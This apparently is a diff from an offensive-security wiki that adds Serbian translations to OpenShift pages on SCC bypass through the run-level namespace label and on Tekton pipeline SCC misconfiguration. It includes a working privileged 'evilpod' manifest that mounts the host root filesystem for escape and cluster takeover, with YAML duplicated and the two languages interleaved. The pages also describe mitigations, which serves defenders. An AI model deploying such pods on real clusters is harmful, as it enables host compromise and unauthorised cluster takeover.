apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
Sada, svi novi podovi kreirani u imenu prostora ne bi trebali imati nijednu SCC
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
U odsustvu SCC, nema ograničenja na definiciju vašeg poda. To znači da se zlonamerni pod može lako kreirati da pobegne na host sistem.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Sada je postalo lakše eskalirati privilegije za pristup host sistemu i potom preuzeti ceo klaster, stičući 'cluster-admin' privilegije. Potražite deo **Node-Post Exploitation** na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Prilagođene oznake
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
Pored toga, na osnovu ciljne postavke, neke prilagođene oznake / anotacije mogu se koristiti na isti način kao u prethodnom scenariju napada. Čak i ako nisu napravljene za to, oznake se mogu koristiti za davanje dozvola, ograničavanje ili ne određenog resursa.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Pokušajte da potražite prilagođene oznake ako možete da pročitate neke resurse. Evo liste zanimljivih resursa:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Lista svih privilegovanih imena prostora
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
## Napredni eksploat
|
||||
|
||||
## Advanced exploit
|
||||
U OpenShift-u, kao što je ranije prikazano, imati dozvolu za implementaciju poda u imenskom prostoru sa `openshift.io/run-level` oznakom može dovesti do jednostavnog preuzimanja klastera. Sa aspekta podešavanja klastera, ova funkcionalnost **ne može biti onemogućena**, jer je inherentna dizajnu OpenShift-a.
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
Međutim, mere ublažavanja poput **Open Policy Agent GateKeeper** mogu sprečiti korisnike da postave ovu oznaku.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Da bi zaobišli pravila GateKeeper-a i postavili ovu oznaku za izvršenje preuzimanja klastera, **napadači bi morali da identifikuju alternativne metode.**
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+31
-39
@@ -2,78 +2,70 @@
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### Šta je tekton
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
Prema dokumentaciji: _Tekton je moćan i fleksibilan open-source okvir za kreiranje CI/CD sistema, omogućavajući programerima da grade, testiraju i implementiraju aplikacije na različitim cloud provajderima i lokalnim sistemima._ I Jenkins i Tekton se mogu koristiti za testiranje, izgradnju i implementaciju aplikacija, međutim Tekton je Cloud Native. 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Sa Tekton-om, sve je predstavljeno YAML datotekama. Programeri mogu kreirati Prilagođene Resurse (CR) tipa `Pipelines` i odrediti više `Tasks` u njima koje žele da pokrenu. Da bi se pokrenuo Pipeline, moraju se kreirati resursi tipa `PipelineRun`.
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
Kada je tekton instaliran, kreira se servisni nalog (sa) pod nazivom pipeline u svakoj namespaces. Kada se Pipeline pokrene, pod će biti pokrenut koristeći ovaj sa pod nazivom `pipeline` da izvrši zadatke definisane u YAML datoteci.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### Mogućnosti servisnog naloga Pipeline
|
||||
|
||||
Podrazumevano, servisni nalog pipeline može koristiti `pipelines-scc` mogućnost. To je zbog globalne podrazumevane konfiguracije tekton-a. U stvari, globalna konfiguracija tekton-a je takođe YAML u openshift objektu pod nazivom `TektonConfig` koji se može videti ako imate neke uloge čitaoca u klasteru.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
U bilo kojem namespace-u, ako možete dobiti token za servisni nalog pipeline-a, moći ćete da koristite `pipelines-scc`.
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### Problemi sa konfiguracijom
|
||||
|
||||
Problem je u tome što je podrazumevani scc koji može koristiti pipeline sa podložan kontroli korisnika. To se može uraditi korišćenjem oznake u definiciji namespace-a. Na primer, ako mogu da kreiram namespace sa sledećom yaml definicijom:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
Tekton operator će dati servisnom nalogu pipeline-a u `test-namespace` mogućnost korišćenja scc privileged. Ovo će omogućiti montiranje čvora.
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
### Rešenje
|
||||
|
||||
### The fix
|
||||
|
||||
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
|
||||
Tekton dokumenti o tome kako ograničiti preklapanje scc dodavanjem oznake u `TektonConfig` objektu.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
Ova oznaka se zove `max-allowed` 
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**Originalni autor ove stranice je** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## Definicija
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
U kontekstu OpenShift-a, SCC označava **Security Context Constraints**. Security Context Constraints su politike koje kontrolišu dozvole za podove koji rade na OpenShift klasterima. One definišu bezbednosne parametre pod kojima je podu dozvoljeno da radi, uključujući koje akcije može da izvrši i koje resurse može da pristupi.
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
SCC pomažu administratorima da sprovode bezbednosne politike širom klastera, osiguravajući da podovi rade sa odgovarajućim dozvolama i pridržavaju se organizacionih bezbednosnih standarda. Ove restrikcije mogu specificirati različite aspekte bezbednosti poda, kao što su:
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. Linux sposobnosti: Ograničavanje sposobnosti dostupnih kontejnerima, kao što je sposobnost izvršavanja privilegovanih akcija.
|
||||
2. SELinux kontekst: Sprovođenje SELinux konteksta za kontejnere, koji definiše kako procesi interaguju sa resursima na sistemu.
|
||||
3. Read-only root filesystem: Sprečavanje kontejnera da modifikuju datoteke u određenim direktorijumima.
|
||||
4. Dozvoljeni host direktorijumi i volumeni: Specifikovanje koji host direktorijumi i volumeni mogu biti montirani od strane poda.
|
||||
5. Run as UID/GID: Specifikovanje korisničkih i grupnih ID-ova pod kojima proces kontejnera radi.
|
||||
6. Mrežne politike: Kontrolisanje mrežnog pristupa za podove, kao što je ograničavanje izlaznog saobraćaja.
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
Konfigurišući SCC, administratori mogu osigurati da podovi rade sa odgovarajućim nivoom bezbednosne izolacije i kontrola pristupa, smanjujući rizik od bezbednosnih ranjivosti ili neovlašćenog pristupa unutar klastera.
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
U suštini, svaki put kada se zatraži implementacija poda, izvršava se proces prijema kao što je sledeće:
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
Ova dodatna bezbednosna sloj po defaultu zabranjuje kreiranje privilegovanih podova, montiranje host fajl sistema ili postavljanje bilo kojih atributa koji bi mogli dovesti do eskalacije privilegija.
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## Lista SCC
|
||||
|
||||
Da biste naveli sve SCC sa Openshift klijentom:
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,25 +37,20 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
Svi korisnici imaju pristup podrazumevanju SCC "**restricted**" i "**restricted-v2**" koji su najstroži SCC-ovi.
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## Koristite SCC
|
||||
|
||||
SCC koji se koristi za pod definisan je unutar anotacije :
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
Kada korisnik ima pristup više SCC-ova, sistem će koristiti onaj koji se usklađuje sa vrednostima bezbednosnog konteksta. U suprotnom, biće pokrenuta greška zabranjeno.
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
|
||||
{{#ref}}
|
||||
@@ -66,7 +60,3 @@ openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
## References
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user